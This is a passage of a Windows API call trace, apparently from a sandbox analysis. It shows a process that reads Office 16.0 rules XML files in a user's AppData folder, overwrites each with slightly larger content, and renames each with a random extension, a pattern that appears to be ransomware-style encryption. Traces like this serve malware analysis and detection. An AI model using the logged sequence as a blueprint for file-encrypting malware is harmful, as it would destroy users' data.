lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x14f5a70, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x14f5a70, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x14f5a70, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x139c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe_Rules.xml", cAlternateFileName="EXCELE~1.XML")) returned 1 [0144.360] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35a6de30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35a6de30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x35a6de30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x4050, dwReserved0=0x0, dwReserved1=0x0, cFileName="officec2rclient.exe_Rules.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0144.360] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2dbcc430, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2dbcc430, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x14a97, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe_Rules.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0144.360] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x250fe150, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x250fe150, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x250fe150, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x12c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpnt.exe_Rules.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0144.361] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebServiceCache", cAlternateFileName="WEBSER~1")) returned 1 [0144.361] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2994bd90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2994bd90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0xd939d880, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x199f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="winword.exe_Rules.xml", cAlternateFileName="WINWOR~1.XML")) returned 1 [0144.361] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2994bd90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2994bd90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0xd939d880, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x199f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="winword.exe_Rules.xml", cAlternateFileName="WINWOR~1.XML")) returned 0 [0144.361] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.361] SetErrorMode (uMode=0x0) returned 0x1 [0144.361] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0144.361] SetErrorMode (uMode=0x1) returned 0x0 [0144.362] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.363] GetFileType (hFile=0x1d0) returned 0x1 [0144.363] SetErrorMode (uMode=0x0) returned 0x1 [0144.363] GetFileType (hFile=0x1d0) returned 0x1 [0144.363] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x139c4 [0144.363] ReadFile (in: hFile=0x1d0, lpBuffer=0x2871920, nNumberOfBytesToRead=0x139c4, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x2871920*, lpNumberOfBytesRead=0x21d1d8*=0x139c4, lpOverlapped=0x0) returned 1 [0144.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0144.423] SetErrorMode (uMode=0x1) returned 0x0 [0144.423] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.425] GetFileType (hFile=0x1d0) returned 0x1 [0144.426] SetErrorMode (uMode=0x0) returned 0x1 [0144.426] GetFileType (hFile=0x1d0) returned 0x1 [0144.426] WriteFile (in: hFile=0x1d0, lpBuffer=0x298c1a0*, nNumberOfBytesToWrite=0x139d0, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x298c1a0*, lpNumberOfBytesWritten=0x21d258*=0x139d0, lpOverlapped=0x0) returned 1 [0144.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0144.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml.4dfq5j", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml.4dfq5j", lpFilePart=0x0) returned 0x51 [0144.429] SetErrorMode (uMode=0x1) returned 0x0 [0144.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x14f5a70, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x14f5a70, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x52940ae0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0)) returned 1 [0144.429] SetErrorMode (uMode=0x0) returned 0x1 [0144.430] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml.4dfq5j" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml.4dfq5j")) returned 1 [0144.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", lpFilePart=0x0) returned 0x54 [0144.431] SetErrorMode (uMode=0x1) returned 0x0 [0144.431] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.432] GetFileType (hFile=0x1d0) returned 0x1 [0144.432] SetErrorMode (uMode=0x0) returned 0x1 [0144.432] GetFileType (hFile=0x1d0) returned 0x1 [0144.432] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x4050 [0144.432] ReadFile (in: hFile=0x1d0, lpBuffer=0x29a0b68, nNumberOfBytesToRead=0x4050, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x29a0b68*, lpNumberOfBytesRead=0x21d1d8*=0x4050, lpOverlapped=0x0) returned 1 [0144.509] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", lpFilePart=0x0) returned 0x54 [0144.509] SetErrorMode (uMode=0x1) returned 0x0 [0144.509] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.511] GetFileType (hFile=0x1d0) returned 0x1 [0144.511] SetErrorMode (uMode=0x0) returned 0x1 [0144.511] GetFileType (hFile=0x1d0) returned 0x1 [0144.511] WriteFile (in: hFile=0x1d0, lpBuffer=0x28929e8*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x28929e8*, lpNumberOfBytesWritten=0x21d258*=0x4060, lpOverlapped=0x0) returned 1 [0144.513] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", lpFilePart=0x0) returned 0x54 [0144.513] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.u9ydcp", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.u9ydcp", lpFilePart=0x0) returned 0x5b [0144.513] SetErrorMode (uMode=0x1) returned 0x0 [0144.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35a6de30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35a6de30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x529ff1c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4060)) returned 1 [0144.513] SetErrorMode (uMode=0x0) returned 0x1 [0144.514] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.u9ydcp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml.u9ydcp")) returned 1 [0144.514] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", lpFilePart=0x0) returned 0x4c [0144.514] SetErrorMode (uMode=0x1) returned 0x0 [0144.515] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.516] GetFileType (hFile=0x1d0) returned 0x1 [0144.516] SetErrorMode (uMode=0x0) returned 0x1 [0144.516] GetFileType (hFile=0x1d0) returned 0x1 [0144.516] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x14a97 [0144.516] ReadFile (in: hFile=0x1d0, lpBuffer=0x2897a88, nNumberOfBytesToRead=0x14a97, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x2897a88*, lpNumberOfBytesRead=0x21d1d8*=0x14a97, lpOverlapped=0x0) returned 1 [0144.541] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", lpFilePart=0x0) returned 0x4c [0144.541] SetErrorMode (uMode=0x1) returned 0x0 [0144.541] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.543] GetFileType (hFile=0x1d0) returned 0x1 [0144.543] SetErrorMode (uMode=0x0) returned 0x1 [0144.543] GetFileType (hFile=0x1d0) returned 0x1 [0144.543] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b5578*, nNumberOfBytesToWrite=0x14aa0, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x29b5578*, lpNumberOfBytesWritten=0x21d258*=0x14aa0, lpOverlapped=0x0) returned 1 [0144.547] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", lpFilePart=0x0) returned 0x4c [0144.547] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml.2cm1cs", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml.2cm1cs", lpFilePart=0x0) returned 0x53 [0144.547] SetErrorMode (uMode=0x1) returned 0x0 [0144.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2dbcc430, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x52a4b480, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x14aa0)) returned 1 [0144.547] SetErrorMode (uMode=0x0) returned 0x1 [0144.547] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml.2cm1cs" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml.2cm1cs")) returned 1 [0144.548] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", lpFilePart=0x0) returned 0x4d [0144.548] SetErrorMode (uMode=0x1) returned 0x0 [0144.548] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.562] GetFileType (hFile=0x1d0) returned 0x1 [0144.562] SetErrorMode (uMode=0x0) returned 0x1 [0144.562] GetFileType (hFile=0x1d0) returned 0x1 [0144.562] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x12c44 [0144.562] ReadFile (in: hFile=0x1d0, lpBuffer=0x29cb008, nNumberOfBytesToRead=0x12c44, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x29cb008*, lpNumberOfBytesRead=0x21d1d8*=0x12c44, lpOverlapped=0x0) returned 1 [0144.631] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", lpFilePart=0x0) returned 0x4d [0144.631] SetErrorMode (uMode=0x1) returned 0x0 [0144.631] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.633] GetFileType (hFile=0x1d0) returned 0x1 [0144.633] SetErrorMode (uMode=0x0) returned 0x1 [0144.633] GetFileType (hFile=0x1d0) returned 0x1 [0144.633] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f1c68*, nNumberOfBytesToWrite=0x12c50, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x28f1c68*, lpNumberOfBytesWritten=0x21d258*=0x12c50, lpOverlapped=0x0) returned 1 [0144.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", lpFilePart=0x0) returned 0x4d [0144.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml.6xb3sx", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml.6xb3sx", lpFilePart=0x0) returned 0x54 [0144.637] SetErrorMode (uMode=0x1) returned 0x0 [0144.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x250fe150, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x250fe150, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x52b2fcc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x12c50)) returned 1 [0144.637] SetErrorMode (uMode=0x0) returned 0x1 [0144.637] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml.6xb3sx" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml.6xb3sx")) returned 1 [0144.638] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", lpFilePart=0x0) returned 0x4c [0144.638] SetErrorMode (uMode=0x1) returned 0x0 [0144.638] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.651] GetFileType (hFile=0x1d0) returned 0x1 [0144.651] SetErrorMode (uMode=0x0) returned 0x1 [0144.651] GetFileType (hFile=0x1d0) returned 0x1 [0144.651] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x199f1 [0144.653] ReadFile (in: hFile=0x1d0, lpBuffer=0x12895e30, nNumberOfBytesToRead=0x199f1, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x12895e30*, lpNumberOfBytesRead=0x21d1d8*=0x199f1, lpOverlapped=0x0) returned 1 [0144.677] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", lpFilePart=0x0) returned 0x4c [0144.677] SetErrorMode (uMode=0x1) returned 0x0 [0144.677] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.686] GetFileType (hFile=0x1d0) returned 0x1 [0144.686] SetErrorMode (uMode=0x0) returned 0x1 [0144.686] GetFileType (hFile=0x1d0) returned 0x1 [0144.686] WriteFile (in: hFile=0x1d0, lpBuffer=0x129160a8*, nNumberOfBytesToWrite=0x19a00, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x129160a8*, lpNumberOfBytesWritten=0x21d258*=0x19a00, lpOverlapped=0x0) returned 1 [0144.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml", lpFilePart=0x0) returned 0x4c [0144.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml.7fhvk5", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml.7fhvk5", lpFilePart=0x0) returned 0x53 [0144.690] SetErrorMode (uMode=0x1) returned 0x0 [0144.690] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), fInfoLevelId=0x0, 